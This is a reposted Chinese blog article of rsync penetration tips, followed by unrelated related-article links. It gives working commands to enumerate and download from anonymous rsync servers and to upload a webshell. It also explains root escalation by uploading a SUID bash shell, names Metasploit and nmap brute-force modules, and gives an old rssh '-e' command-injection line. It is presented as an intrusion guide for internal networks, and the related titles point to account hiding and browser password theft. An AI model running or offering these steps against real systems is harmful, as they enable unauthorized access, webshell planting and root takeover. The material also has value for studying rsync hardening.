转自91ri

关于rsync

rsync(remote synchronize)——Linux下实现远程同步功能的软件,能同步更新两处计算机的文件及目录。在同步文件时,可以保持源文件的权限、时间、软硬链接等附加信息。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员;而开发人员安全意识薄弱、安全技能欠缺往往是导致rsync出现相关漏洞的根源。

rsync默认配置文件为/etc/rsyncd.conf,常驻模式启动命令rsync –daemon,启动成功后默认监听于TCP端口873,可通过rsync-daemon及ssh两种方式进行认证。

常用操作

列举整个同步目录或指定目录:

rsync 10.0.0.12::
rsync 10.0.0.12::www/
1
2
rsync 10.0.0.12::
rsync 10.0.0.12::www/

下载文件或目录到本地:

rsync -avz 10.0.0.12::www/test.php /root
rsync -avz 10.0.0.12::www/ /var/tmp
1
2
rsync -avz 10.0.0.12::www/test.php /root
rsync -avz 10.0.0.12::www/ /var/tmp

上传本地文件到服务端:

rsync -avz webshell.php 10.0.0.12::www/
1
rsync -avz webshell.php 10.0.0.12::www/

端口修改

在其配置文件中不存在监听端口修改相关选项,但可在启动命令行通过参数–port进行指定

因此通过进程查看方式,可以直接获得其真实监听端口。

通过端口扫描也可自动判断出其服务名及版本信息。

客户端在连接时,也需指定相应端口号,否则会出现端口拒绝连接错误提示。

认证方式

rsync默认允许匿名访问,也可在其配置文件中为同步目录添加用户认证相关项,包括认证文件及授权账号,若未包含授权账号行(auth users),则为匿名访问。

其用户认证文件内容为明文保存,但该文件权限必须设置为600,普通用户并无读取权限。

若认证文件权限设置错误,客户端用户即使口令输入正确,也会出现认证失败的提示信息。

此外由于rsync还支持ssh协议,因此可通过系统用户进行认证,即在rsync上通过SSH隧道进行传输,类似于scp工具,此时同步操作不再局限于rsync中定义的同步文件夹。

若服务端SSH为非标准端口,可通过rsync的-e参数进行端口指定。

本地提权

由于rsync进程默认以root权限启动,在rsync为匿名访问或存在弱口令前提下,还可利用其在同步文件过程中保持源文件权限的特性,进行本地权限提升。

在本地将bash shell添加suid权限位,并通过rsync上传到服务端。

在有普通用户shell权限前提下(通过rsync上传webshell或其他弱口令等漏洞),切换到同步目录,查看上传的shell文件权限不变,运行后即可提升为root权限。

自动化脚本

Metasploit中关于允许匿名访问的rsync扫描模块:auxiliary/scanner/rsync/modules_list

nmap中针对rsync同步目录列举的脚本rsync-list-modules:https://svn.nmap.org/nmap/scripts/rsync-list-modules.nse,似乎用处并不大。

另一个针对rsync口令暴力破解的脚本rsync-brute :https://svn.nmap.org/nmap/scripts/rsync-brute.nse。

91ri.org:我们附一个rsync(rssh)远程溢出的东西,虽然有点老,但是在内网环境中也是有遇到的几率,万一就中了呢。。

rssh 2.3.3-3在使用rsync时没有正确过滤 -e 选项,可导致远程攻击者利用此漏洞执行任意命令。

攻击语句:

rsync -e./script.sh localhost:/tmp--server ./
1
rsync -e./script.sh localhost:/tmp--server ./

[via@STD兄弟连

rsync的几则tips(渗透技巧)的更多相关文章

  1. 渗透技巧——Windows系统的帐户隐藏

    渗透技巧——Windows系统的帐户隐藏 2017-11-28-00:08:55  0x01 帐户隐藏的方法 该方法在网上已有相关资料,本节只做简单复现 测试系统:·Win7 x86/WinXP 1. ...

  2. SCP和Rsync远程拷贝的几个技巧

    scp是secure copy的简写,用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的.可能会稍微影响一下速度.当你服务器 ...

  3. Metasploit渗透技巧:后渗透Meterpreter代理

    Metasploit是一个免费的.可下载的渗透测试框架,通过它可以很容易地获取.开发并对计算机软件漏洞实施攻击测试.它本身附带数百个已知软件漏洞的专业级漏洞攻击测试工具. 当H.D. Moore在20 ...

  4. 渗透技巧——如何逃逸Linux的受限制shell执行任意命令

    导语:本文介绍了如何在受限制的shell中执行任意命令,实现交互.其相应的利用场景是说当我们通过一些手段拿到当前Linux机器的shell时,由于当前shell的限制,很多命令不能执行,导致后续的渗透 ...

  5. rsync增量传输大文件优化技巧

    问题 rsync用来同步数据非常的好用,特别是增量同步.但是有一种情况如果不增加特定的参数就不是很好用了.比如你要同步多个几十个G的文件,然后网络突然断开了一下,这时候你重新启动增量同步.但是发现等了 ...

  6. 内网渗透技巧:判断机器真实外网IP的5种方法总结

    在内网渗透中有时需要在某台WEB服务器中留下后门,该机器可以通过内网IP建立IPC连接,但还需要获知外网IP或域名才能访问Wbshell,在无网关权限的情况下,我总结了有如下方法: 1.通过nsloo ...

  7. 渗透技巧——导出Chrome浏览器中保存的密码

    0x00 前言 在后渗透阶段,获得权限后需要搜集目标系统的信息.信息越全面,越有助于进一步的渗透.对于Windows系统,用户浏览器往往包含有价值的信息. 在之前的文章<本地密码查看工具LaZa ...

  8. PowerShell 反弹渗透技巧

    Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访 ...

  9. windows内网渗透技巧

    1.(windows)无扫描器情况下内网存活主机探测: for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | find /i "t ...

随机推荐

  1. maven学习(九)——maven中的坐标、依赖以及仓库

    一.Maven坐标 1.1.什么是坐标? 在平面几何中坐标(x,y)可以标识平面中唯一的一点. 1.2.Maven坐标主要组成 groupId:组织标识(包名) artifactId:项目名称 ver ...

  2. Callable、Future、FutureTask_笔记

    参考:http://blog.csdn.net/javazejian/article/details/50896505 1.Callable<V>接口 Runnable接口 public ...

  3. Struts2 改变语言状态

    只要在请求中增加 request_locale=en_US 参数,就可以实现语言的切换,内部由拦截器实现

  4. CSS3 Flex布局和Grid布局

      1 flex容器的六个属性 flex实现垂直居中: <div class="box"> <span class="item">< ...

  5. python(4)-- 日期 & 时间

    1. Python 提供了一个 time 和 calendar 模块可以用于格式化日期和时间. 2. 时间间隔是以秒为单位的浮点小数. 3. 每个时间戳都以自从1970年1月1日午夜(历元)经过了多长 ...

  6. ios 瀑布流的那些事情

    转载: 屎壳郎情调-成长日记 首先要知道:瀑布流的核心就是要获取到图片的长宽 网上的很多例子都是加载本地图片的 对于新手而言 改成加载网络图片的确是有点压力的  因为本地的图片 我们是很容易就能获取到 ...

  7. WP7资源

    原文发布时间为:2012-07-31 -- 来源于本人的百度文章 [由搬家工具导入] Code libraries and toolkits Enterprise Library 5.0provide ...

  8. Android蓝牙介绍

    1. 介绍 自从Android 4.2开始,Android开始使用自己的蓝牙协议栈BlueDroid,而不是bluez BlueDroid可分为两层: - BTE: Bluetooth Embedde ...

  9. Spring积累总结

    1.spring 的优点: 1.降低了组件之间的耦合性 ,实现了软件各层之间的解耦 2.可以使用容易提供的众多服务,如事务管理,消息服务等 3.容器提供单例模式支持 4.容器提供了AOP技术,利用它很 ...

  10. java中Map的entrySet 和keySet的使用

    存储这样的一个数据关系结构  使用嵌套map存储 可以通过调用  entrySet方法  或者 keySet方法 进行迭代或者增强for循环 便利输出 这里演示 迭代器的方式进行遍历 package ...